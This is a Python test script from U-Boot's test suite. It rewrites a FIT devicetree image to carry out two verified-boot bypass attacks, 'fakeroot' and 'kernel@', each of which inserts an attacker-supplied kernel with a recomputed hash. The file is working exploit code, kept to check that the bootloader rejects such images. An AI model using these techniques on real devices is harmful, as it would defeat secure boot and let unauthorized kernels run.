summaryrefslogtreecommitdiff
path: root/test/py/tests/vboot_evil.py
blob: 9825c21716b8fff75b5335a4873094e0692a96ef (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
# SPDX-License-Identifier: GPL-2.0
# Copyright (c) 2020, Intel Corporation

"""Modifies a devicetree to add a fake root node, for testing purposes"""

import hashlib
import struct
import sys

FDT_PROP = 0x3
FDT_BEGIN_NODE = 0x1
FDT_END_NODE = 0x2
FDT_END = 0x9

FAKE_ROOT_ATTACK = 0
KERNEL_AT = 1

MAGIC = 0xd00dfeed

EVIL_KERNEL_NAME = b'evil_kernel'
FAKE_ROOT_NAME = b'f@keroot'


def getstr(dt_strings, off):
    """Get a string from the devicetree string table

    Args:
        dt_strings (bytes): Devicetree strings section
        off (int): Offset of string to read

    Returns:
        str: String read from the table
    """
    output = ''
    while dt_strings[off]:
        output += chr(dt_strings[off])
        off += 1

    return output


def align(offset):
    """Align an offset to a multiple of 4

    Args:
        offset (int): Offset to align

    Returns:
        int: Resulting aligned offset (rounds up to nearest multiple)
    """
    return (offset + 3) & ~3


def determine_offset(dt_struct, dt_strings, searched_node_name):
    """Determines the offset of an element, either a node or a property

    Args:
        dt_struct (bytes): Devicetree struct section
        dt_strings (bytes): Devicetree strings section
        searched_node_name (str): element path, ex: /images/kernel@1/data

    Returns:
        tuple: (node start offset, node end offset)
        if element is not found, returns (None, None)
    """
    offset = 0
    depth = -1

    path = '/'

    object_start_offset = None
    object_end_offset = None
    object_depth = None

    while offset < len(dt_struct):
        (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])

        if tag == FDT_BEGIN_NODE:
            depth += 1

            begin_node_offset = offset
            offset += 4

            node_name = getstr(dt_struct, offset)
            offset += len(node_name) + 1
            offset = align(offset)

            if path[-1] != '/':
                path += '/'

            path += str(node_name)

            if path == searched_node_name:
                object_start_offset = begin_node_offset
                object_depth = depth

        elif tag == FDT_PROP:
            begin_prop_offset = offset

            offset += 4
            len_tag, nameoff = struct.unpack('>II',
                                             dt_struct[offset:offset + 8])
            offset += 8
            prop_name = getstr(dt_strings, nameoff)

            len_tag = align(len_tag)

            offset += len_tag

            node_path = path + '/' + str(prop_name)

            if node_path == searched_node_name:
                object_start_offset = begin_prop_offset

        elif tag == FDT_END_NODE:
            offset += 4

            path = path[:path.rfind('/')]
            if not path:
                path = '/'

            if depth == object_depth:
                object_end_offset = offset
                break
            depth -= 1
        elif tag == FDT_END:
            break

        else:
            print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
            break

    return object_start_offset, object_end_offset


def modify_node_name(dt_struct, node_offset, replcd_name):
    """Change the name of a node

    Args:
        dt_struct (bytes): Devicetree struct section
        node_offset (int): Offset of node
        replcd_name (str): New name for node

    Returns:
        bytes: New dt_struct contents
    """

    # skip 4 bytes for the FDT_BEGIN_NODE
    node_offset += 4

    node_name = getstr(dt_struct, node_offset)
    node_name_len = len(node_name) + 1

    node_name_len = align(node_name_len)

    replcd_name += b'\0'

    # align on 4 bytes
    while len(replcd_name) % 4:
        replcd_name += b'\0'

    dt_struct = (dt_struct[:node_offset] + replcd_name +
                 dt_struct[node_offset + node_name_len:])

    return dt_struct


def modify_prop_content(dt_struct, prop_offset, content):
    """Overwrite the value of a property

    Args:
        dt_struct (bytes): Devicetree struct section
        prop_offset (int): Offset of property (FDT_PROP tag)
        content (bytes): New content for the property

    Returns:
        bytes: New dt_struct contents
    """
    # skip FDT_PROP
    prop_offset += 4
    (len_tag, nameoff) = struct.unpack('>II',
                                       dt_struct[prop_offset:prop_offset + 8])

    # compute padded original node length
    original_node_len = len_tag + 8  # content length + prop meta data len

    original_node_len = align(original_node_len)

    added_data = struct.pack('>II', len(content), nameoff)
    added_data += content
    while len(added_data) % 4:
        added_data += b'\0'

    dt_struct = (dt_struct[:prop_offset] + added_data +
                 dt_struct[prop_offset + original_node_len:])

    return dt_struct


def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
                          required=True):
    """Change a given property value

    Args:
        dt_struct (bytes): Devicetree struct section
        dt_strings (bytes): Devicetree strings section
        prop_path (str): full path of the target property
        prop_value (bytes):  new property name
        required (bool): raise an exception if property not found

    Returns:
        bytes: New dt_struct contents

    Raises:
        ValueError: if the property is not found
    """
    (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
    if rt_node_start is None:
        if not required:
            return dt_struct
        raise ValueError('Fatal error, unable to find prop %s' % prop_path)

    dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)

    return dt_struct

def change_node_name(dt_struct, dt_strings, node_path, node_name):
    """Change a given node name

    Args:
        dt_struct (bytes): Devicetree struct section
        dt_strings (bytes): Devicetree strings section
        node_path (str): full path of the target node
        node_name (str): new node name, just node name not full path

    Returns:
        bytes: New dt_struct contents

    Raises:
        ValueError: if the node is not found
    """
    (rt_node_start, rt_node_end) = (
        determine_offset(dt_struct, dt_strings, node_path))
    if rt_node_start is None or rt_node_end is None:
        raise ValueError('Fatal error, unable to find root node')

    dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)

    return dt_struct

def get_prop_value(dt_struct, dt_strings, prop_path):
    """Get the content of a property based on its path

    Args:
        dt_struct (bytes): Devicetree struct section
        dt_strings (bytes): Devicetree strings section
        prop_path (str): full path of the target property

    Returns:
        bytes: Property value

    Raises:
        ValueError: if the property is not found
    """
    (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
    if offset is None:
        raise ValueError('Fatal error, unable to find prop')

    offset += 4
    (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])

    offset += 8
    tag_data = dt_struct[offset:offset + len_tag]

    return tag_data


def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
    """Conduct the kernel@ attack

    It fetches from /configurations/default the name of the kernel being loaded.
    Then, if the kernel name does not contain any @sign, duplicates the kernel
    in /images node and appends '@evil' to its name.
    It inserts a new kernel content and updates its images digest.

    Inputs:
        - FIT dt_struct
        - FIT dt_strings
        - kernel content blob
        - kernel hash blob

    Important note: it assumes the U-Boot loading method is 'kernel' and the
    loaded kernel hash's subnode name is 'hash-1'
    """

    # retrieve the default configuration name
    default_conf_name = get_prop_value(
        dt_struct, dt_strings, '/configurations/default')
    default_conf_name = str(default_conf_name[:-1], 'utf-8')

    conf_path = '/configurations/' + default_conf_name

    # fetch the loaded kernel name from the default configuration
    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')

    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')

    if loaded_kernel.find('@') != -1:
        print('kernel@ attack does not work on nodes already containing an @ sign!')
        sys.exit()

    # determine boundaries of the loaded kernel
    (krn_node_start, krn_node_end) = (determine_offset(
        dt_struct, dt_strings, '/images/' + loaded_kernel))
    if krn_node_start is None and krn_node_end is None:
        print('Fatal error, unable to find root node')
        sys.exit()

    # copy the loaded kernel
    loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]

    # insert the copy inside the tree
    dt_struct = dt_struct[:krn_node_start] + \
        loaded_kernel_copy + dt_struct[krn_node_start:]

    evil_kernel_name = loaded_kernel+'@evil'

    # change the inserted kernel name
    dt_struct = change_node_name(
        dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))

    # change the content of the kernel being loaded
    dt_struct = change_property_value(
        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)

    # change the content of the kernel being loaded
    dt_struct = change_property_value(
        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)

    return dt_struct


def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
    """Conduct the fakenode attack

    It duplicates the original root node at the beginning of the tree.
    Then it modifies within this duplicated tree:
        - The loaded kernel name
        - The loaded  kernel data

    Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
    hash's subnode name is hash@1
    """

    # retrieve the default configuration name
    default_conf_name = get_prop_value(
        dt_struct, dt_strings, '/configurations/default')
    default_conf_name = str(default_conf_name[:-1], 'utf-8')

    conf_path = '/configurations/'+default_conf_name

    # fetch the loaded kernel name from the default configuration
    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')

    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')

    # determine root node start and end:
    (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
    if (rt_node_start is None) or (rt_node_end is None):
        print('Fatal error, unable to find root node')
        sys.exit()

    # duplicate the whole tree
    duplicated_node = dt_struct[rt_node_start:rt_node_end]

    # dchange root name (empty name) to fake root name
    new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)

    dt_struct = new_dup + dt_struct

    # change the value of /<fake_root_name>/configs/<default_config_name>/kernel
    # so our modified kernel will be loaded
    base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
    value_path = base + conf_path+'/kernel'
    dt_struct = change_property_value(dt_struct, dt_strings, value_path,
                                      EVIL_KERNEL_NAME + b'\0')

    # change the node of the /<fake_root_name>/images/<original_kernel_name>
    images_path = base + '/images/'
    node_path = images_path + loaded_kernel
    dt_struct = change_node_name(dt_struct, dt_strings, node_path,
                                 EVIL_KERNEL_NAME)

    # change the content of the kernel being loaded
    data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
    dt_struct = change_property_value(dt_struct, dt_strings, data_path,
                                      kernel_content, required=False)

    # update the digest value
    hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
    dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
                                      kernel_digest)

    return dt_struct

def add_evil_node(in_fname, out_fname, kernel_fname, attack):
    """Add an evil node to the devicetree

    Args:
        in_fname (str): Filename of input devicetree
        out_fname (str): Filename to write modified devicetree to
        kernel_fname (str): Filename of kernel data to add to evil node
        attack (str): Attack type ('fakeroot' or 'kernel@')

    Raises:
        ValueError: Unknown attack name
    """
    if attack == 'fakeroot':
        attack = FAKE_ROOT_ATTACK
    elif attack == 'kernel@':
        attack = KERNEL_AT
    else:
        raise ValueError('Unknown attack name!')

    with open(in_fname, 'rb') as fin:
        input_data = fin.read()

    hdr = input_data[0:0x28]

    offset = 0
    magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
    if magic != MAGIC:
        raise ValueError('Wrong magic!')

    offset += 4
    (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
     last_comp_version, boot_cpuid_phys, size_dt_strings,
     size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])

    rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
    dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
    dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]

    with open(kernel_fname, 'rb') as kernel_file:
        kernel_content = kernel_file.read()

    # computing inserted kernel hash
    val = hashlib.sha1()
    val.update(kernel_content)
    hash_digest = val.digest()

    if attack == FAKE_ROOT_ATTACK:
        dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
                                          hash_digest)
    elif attack == KERNEL_AT:
        dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
                                     hash_digest)

    # now rebuild the new file
    size_dt_strings = len(dt_strings)
    size_dt_struct = len(dt_struct)
    totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
    off_mem_rsvmap = 0x28
    off_dt_struct = off_mem_rsvmap + len(rsv_map)
    off_dt_strings = off_dt_struct + len(dt_struct)

    header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
                         off_dt_strings, off_mem_rsvmap, version,
                         last_comp_version, boot_cpuid_phys, size_dt_strings,
                         size_dt_struct)

    with open(out_fname, 'wb') as output_file:
        output_file.write(header)
        output_file.write(rsv_map)
        output_file.write(dt_struct)
        output_file.write(dt_strings)

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
              sys.argv[0])
        print('valid attack names: [fakeroot, kernel@]')
        sys.exit(1)

    add_evil_node(sys.argv[1:])